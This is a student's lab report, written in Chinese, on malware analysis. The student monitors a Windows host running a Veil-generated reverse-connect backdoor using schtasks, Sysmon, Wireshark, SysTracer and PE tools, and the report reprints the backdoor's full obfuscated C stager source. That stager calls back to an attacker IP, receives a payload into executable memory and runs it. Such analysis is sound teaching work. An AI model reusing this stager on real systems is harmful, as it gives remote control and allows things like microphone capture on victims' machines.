2018-2019-2 网络对抗技术 20165335 Exp4 恶意代码分析

实验内容:

  一.使用schtacks进行系统运行监控,使用sysmon工具监控系统的具体进程,使用各种工具进行监控,并针对软件的启动回连,安装到目标机,以及其他的控制行为的分析,同时,对主机的注册表,文件改动,联网情况,数据传输情况进行捕获,分析

  二.获得veil生成的后门的源代码,分析恶意代码运行的原理,以及代码的基本组成,分析代码的实现。

基础问题回答:

  (1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

    首先看网络连接情况,看看那些应用在联网,毕竟,要将数据传出就必然要经过网络服务,先找到应用,再进一步去跟踪进程。其次。重点查看注册表,恶意代码的自启动主要以注册表为主

    查看系统日志,看看系统具体的情况,防止系统段的问题

  (2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

    主要还是以wireshake工具抓包分析为主,从数据包和连接状态分析很直接,systracer,查看并分析文件系统,使用Process Explorer,Process Monitor监视具体的系统状态

1.使用schtasks指令监控系统

   schtasks指令允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

  schtasks /create /TN netstat5335 /sc MINUTE /MO 5 /TR "cmd /c netstat -bn > c:\netstatlog.txt命令创建任务

  TN是TaskName的缩写,我们创建的计划任务名是netstat5335;sc表示计时方式,我们以分钟计时填MINUTE;TR=Task Run,要运行的指令是 netstat -bn,b表示显示可执行文件名,n表示以数字来显示IP和端口。

 

  创建一个netstat5303.bat脚本文件

  

  代码为:

    date /t >> c:\netstat5303.txt

    time /t >> c:\netstat5303.txt

    netstat -bn >> c:\netstat5303.txt

  我们可以在计算机计划程序中找到:

 

  将程序与脚本改为我们建立好的:

  

  

  任务还有其他属性,点击“条件”选项卡,可以更改相关的设置。比如默认操作为“只有在计算机使用交流电源时才启动此任务”,那么使用电池电源时就会停止任务。这点需要格外注意,如果没有修改默认操作,任务无论如何都无法执行可能只是因为拔掉了电源。

  

  程序执行,会产生一个txt文件,记录联网记录:

 

  继续采集数据,保证样本容量足够大。

  在收集5小时后,进行统计,先将txt文件内容导入excel统计

  在数据标签中的自文本选择txt文件

  

  在设置分隔符

  

  最后完成导入如下:

  

  发现在实验2中植入的后门的程序,IP为kali IP,端口为5335.

  

  逐个统计出现的联网进程出现的次数,运用公式=COUNTIF(B6:B316,"[chrome.exe]")即可逐个计算出来:

 

这样可以统计出所有的连接网络的应用,可以逐个应用逐渐派出,最后揪出来那个搞事的应用 

也可以对所有的外网地址进行一个统计,可以看到自己的机器连接到了那些服务器或主机,可以从目的IP着手找,更加清晰的分析另一端的连接情况:

2.使用sysmon工具监控系统

  sysmon是微软Sysinternals套件中的一个工具,使用sysmon工具前首先要配置文件。记录Event 1,2,3三个事件。分别为进程创建、进程创建时间、网络连接。

  1.安装sysmon:

    先前往官网下载sysmon:https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

    建立一个XML文件,将过滤器事件以及相关的选项加入到XML中,在xml中写入进程创建、进程创建时间、网络连接的部分,过滤器事件以及选项进入链接:https://gitee.com/wildlinux/NetSec/tree/master/ExpGuides查看

    输入指令Sysmon.exe -i C:\28972\20165335.xml安装,出现问题:

    

    是因为版本号的问题,在XML中修改版本号即可成功安装:

    

  再Sysmon.exe -c C:\Sysmon20165335.xml更新一波

  

  我的XML文件配置如下: 

<Sysmon schemaversion="4.20">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<DriverLoad onmatch="exclude">
<Signature condition="contains">microsoft</Signature>
<Signature condition="contains">windows</Signature>
</DriverLoad>

<NetworkConnect onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<Image condition="end with">iexplorer.exe</Image>
<Image condition="end with">firefox.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">127.0.0.1</SourceIp>
<DestinationPort condition="is">80</DestinationPort> 
<DestinationPort condition="is">443</DestinationPort> 
</NetworkConnect>

<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">firefox.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>

<ProcessCreate onmatch="include">
<Image condition="end with">chrome.exe</Image>
<Image condition="end with">iexplorer.exe</Image>
<Image condition="end with">firefox.exe</Image>
</ProcessCreate>

<FileCreateTime onmatch="exclude" >
<Image condition="end with">firefox.exe</Image> 
</FileCreateTime>

<FileCreateTime onmatch="include" >
<TargetFilename condition="end with">.tmp</TargetFilename> 
<TargetFilename condition="end with">.exe</TargetFilename> 
</FileCreateTime>

</EventFiltering>
</Sysmon>

  打开事件查看器,应用程序和服务日志->Microsoft->Windows->Sysmon->Operational。我们可以找到按照配置文件的要求记录的新事件,以及事件ID、任务类别、详细信息等等。

  

  打开kali,使用之前实验生成的后门并且回连一次试试:

  发现系统成功阻止了回连的行为,我在禁用的进程日志中找到了我的后门程序:

  这个是一个正常的应用进程的日志信息,我选择QQ的进程进行查看:

  

  根据日志,可以判断出该应用通过连接56330端口,利用TCP和182.254.50.164发生通信。

 

3.使用VirusTotal分析恶意软件

  把生成的恶意代码放在VirusTotal进行分析,继续使用实验3产生的那个后门outdoorttwo进行实践。

 

  

   非常的low,会被很多给找出来。主要是查看一波具体的属性:

  

  可以看到,该后门的SHA-1,MD5摘要,文件类型,大小以及杀软具体的特征值查找结果TRID看的出来,他的特征码还是比较容易查出来的

  在packers一栏中,可以看到该后门的加壳情况,在portable Exwcutable中,可以看到其使用的算法库,支持的算法

  在Imports可以看到他的动态链接库:

    KERNEL32.dll负责系统的内存管理、数据的输入输出操作和中断处理

    user32.dll是Windows用户界面相关应用程序接口用于创建窗口和发送消息

    msvcrt.dll是windows操作系统下的C语言运行库

    wsock32.dll是Windows Sockets应用程序接口,用于支持很多Internet和网络应用程序

4.使用Process Monitor分析恶意软件

  Process Monitor 可以实现监视和过滤功能的 Windows 监视工具,可实时显示文件系统、注册表、进程/线程的活动。

  我们可以在process monitor中,找到进程,具体查看其活动信息,也可以查看系统注册表的情况

5.使用Process Explorer分析恶意软件

  Process Explorer是Windows系统和应用程序监视工具,包括Filemon(文件监视器)和Regmon(注册表监视器),还有多项重要的增强功能。包括稳定性和性能改进、强大的过滤选项、修正的进程树对话框(增加了进程存活时间图表)、可根据点击位置变换的右击菜单过滤条目、集成带源代码存储的堆栈跟踪对话框、更快的堆栈跟踪、可在 64位 Windows 上加载 32位 日志文件的能力、监视映像(DLL和内核模式驱动程序)加载、系统引导时记录所有操作等。

  1.下载Process Explorer:

    下载连接:链接:https://pan.baidu.com/s/1eIKa5hLyCsZwe9DxKJ04cQ 提取码:e4bi 

    使用实验3中生成的后门程序outdoortw.exe试着连接一下:

 

  点击进去,既可看到该进程的具体信息:

  我从中看到了该进程在内存中产生的一部分字符串

  同样的,我们也可以利用Process Explorer工具管理进程,比如,将他杀掉:

  也可以看到进程在内存中的具体地址,得到地址后,也可以在GDB中追踪他在内存中的运行

  

6.使用TCPView工具监控网络连接,并使用wireshake抓包具体分析

  先前往官网下载TCPView工具,我们通过TCPView工具可以获取程序的网络连接信息

  之前的那个后门不小心给杀软安排了......先在kali中生成一个后门ceshi

  打开并运行后门程序,利用工具观察后门程序的网络连接的信息,这种情况是反弹连接的情况:

  

  可以发现连接的地址为kali地址192.168.171.139 端口为5335,那么,可以在通信之间用wireshake抓包看看是一个什么过程:

  

  这是在kali还没监听的时候,运行后门时,受控主机的发送连接包,可以看出来,后门发出大量的TCP请求包

  在反弹连接成功后,控制机向被控主机发起dir后,主机的回应

 

  被控主机回应攻击者连接成功

  那么在筛选一下攻击者向被控主机发送数据包的情况

  

  攻击者收到受害者的连接请求后,疯狂的回复确认包

  然后完成TCP握手连接,成功建立连接

   

  之后,攻击者就开始安排受害者,各种的控制命令包:

  

  安排的明明白白。

 7.使用systracer分析

  systracer可以给计算机做快照,分析计算机文件,文件夹和注册表项目的改变

  因此,我们可以对分析开启后门程序,建立连接后的情况分别进行一个分析,管擦和计算机文件的变化情况

  首先,先运行后门,进行反弹连接的情况:

  生成快照1 :没有反弹连接时:

               快照2:反弹连接后

    快照3:执行dir

    快照4:执行record_mic

 

  逐步对比快照,分析:

    快照1,2之间对比:

    

  首先就发现了后门程序ceshi.exe的启动运行

 

  发现,后门接收到很多的目录文件,这些目录文件应该是控制主机所应用的一些指令集以及其他更多的数据集

  同时,也发现,对很多系统运行文件进行了加密操作,进行信息隐藏

  

  通过端口实现了TCP的有效连接

  分析快照2和快照3:

  

  首先就发现,一个http通信进程先创建,再删除,看得出来数据的传输机制应该是非持久连接,保证隐蔽性

 

  这个qHwKcFbvs文件被反复开启,可能这个算是一个后么程序的特征吧,应该是进行http服务的一个系统文件

  通信方式还是以http实现通信:

  分析快照3,4:

  

  可以判断出是用TCP建立连接传输了录音文件。

8.使用PEid查看加壳情况

   PEiD是一个功能强大的查壳的工具,可以看程序是否加壳。

  将veil生成的一个简单后门放入:

  

  确是没有壳。

  也可以查看当前正在运行了什么进程,发现可以的可以看看有没有壳:

  成功发现压缩壳的存在:

 

9.使用PE Explorer

  PE Explorer是程序解析器,能快速对32位可执行程序进行反编译,并修改其中资源。

  用PE Explorer打开一个后门程序,就可以看到如下的头部信息:

  

  当然,我们还可以使用他的反汇编功能,看到反汇编代码这也就意味着我们可以通过修改汇编代码来修改程序文件

  

  在这个地方,发现,后门程序的反弹连接是写死在字符串里面的,是一个固定的常量,那么,这是不是也就意味着可以监听该攻击者的发包呢?

  

10.后门程序的源代码分析

  在实用veil的时候,发现可以找到后门程序的源代码:

  那么,前往查看发现:

  

  代码很乱,需要重新进行一波编码:

  


#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>


char* ELPhvnk(const char *t)
{
int length= strlen(t);
int i; char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++) {
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}


char* oxImsmwTbcn(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++) {
result[i] = s[i/2]; result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}


void cvNGKT() {
WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2));
WSADATA diDuQXNFmNZTv;
if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) {
WSACleanup();
exit(1);
}
}


char* IrhXxkpgdSirgmd() {
char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV");
return strstr( VTYrQkpq, "s" );
}


void JQQYIn(SOCKET dQQjjbD) {
closesocket(dQQjjbD);
WSACleanup();
exit(1);
}


char* HdzfoS() {
char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg";
char *lCUrNPHXpM = strupr(NVGmZE);
return strlwr(lCUrNPHXpM);
}


int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
int slfkmklsDSA=0;
int rcAmwSVM=0;
void * startb = mngpZHDHPakA;
while (rcAmwSVM < xMumRzycXl) {
slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
startb += slfkmklsDSA;
rcAmwSVM += slfkmklsDSA;
if (slfkmklsDSA == SOCKET_ERROR)
JQQYIn(aNTeaiCAXmaMhX);
}
return rcAmwSVM;
}


char* TEOHbyfIXj() {
char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2];
strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw");
strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss");

return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ));
}
SOCKET IpYbCHNOV() {
struct hostent * CADnJpvtGkADG;
struct sockaddr_in NCpJvOJAtp;
SOCKET YJZKAxHbFLbgOb;
YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
if (YJZKAxHbFLbgOb == INVALID_SOCKET)
JQQYIn(YJZKAxHbFLbgOb);
CADnJpvtGkADG = gethostbyname("192.168.171.139.");
if (CADnJpvtGkADG == NULL)
JQQYIn(YJZKAxHbFLbgOb);
memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
NCpJvOJAtp.sin_family = AF_INET;
NCpJvOJAtp.sin_port = htons((567*9+7));
if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) )
JQQYIn(YJZKAxHbFLbgOb);

return YJZKAxHbFLbgOb;
}


int main(int argc, char * argv[])
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
ULONG32 GbMtxZMJpvUG;
char * AOnWmVQURLSv;
int i;
char* WRprInF[1160];
void (*LKMoAeoqcSLE)();
for (i = 0; i < 1160; ++i)
WRprInF[i] = malloc (9816);
cvNGKT();
char* GLEsyWODiOETsqn[6];
SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
for (i = 0; i < 6; ++i)
GLEsyWODiOETsqn[i] = malloc (8388);
int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* OMybsEGA[8773];
for (i=0; i<1160; ++i) {
strcpy(WRprInF[i], IrhXxkpgdSirgmd());
}
if (AOnWmVQURLSv == NULL)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv[0] = 0xBF;
memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
for (i = 0; i < 8773; ++i)
OMybsEGA[i] = malloc (7764);
for (i=0; i<6; ++i){
strcpy(GLEsyWODiOETsqn[i], HdzfoS());
}
MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
for (i=0; i<8773; ++i) {
strcpy(OMybsEGA[i], TEOHbyfIXj());
}

return 0;
}

 

  发现后门的实现其实是基于win socket实现的连接通信:

  程序的基本流畅如下“

    1.先初始化socket,定义socket通信需要的套接字   通过void cvNGKT()函数实现(ShowWindow( GetConsoleWindow(), SW_HIDE );函数用于隐藏命令行)

    2.利用 cvNGKT()的套接字,具体定义套接字,使用SOCKET IpYbCHNOV()函数实现

    3.接收服务器(攻击者)传来的数据,利用recv即可实现

    4.申请一段地址空间,用来存放接收来的payload

    5.接收payload并执行

  我非常的菜,发现有很多地方的操作不知道是什么意思,这是我的几点疑惑:

    

  1.VTYrQkpq这个字符串有什么意义,在后续的代码中,我也没有发现这个字符串的什么操作,也没有任何的注入,就很迷

  2.在整个过程中,有两次的recv操作,第二次的recv是用来接收payload,而第一次的接收他收了那些消息?这些消息起到了什么作用呢?

  

  接受来的信息,他的数据操作像是在判断数据是否有意义,那么,他这样是为了排数那些情况呢?........没看懂

  3.

  emmmmm,这一部分应该是处理运行payload的部分,那么这个0xBF是是什么意思?????地址?????

实验总结与体会:

  感觉分析很依赖之前学过的知识,计算机网络,网络安全基础课程,体会到现有知识的不足,应该对基础知识进行更深层次得学习与了解,其次,感受到了发现问题---猜测原因---检测验证得过程得重要性,我们在分析具体问题是,应该先估计哪里出了问题,再去具体的验证,看看猜测是不是成立,这样更容易加深理解

  在分析后门原理以及分析系统状态后,对后门有了更加深刻的理解和认识

 

posted @ 2019-04-06 15:12  20165335  阅读(446)  评论(0编辑  收藏  举报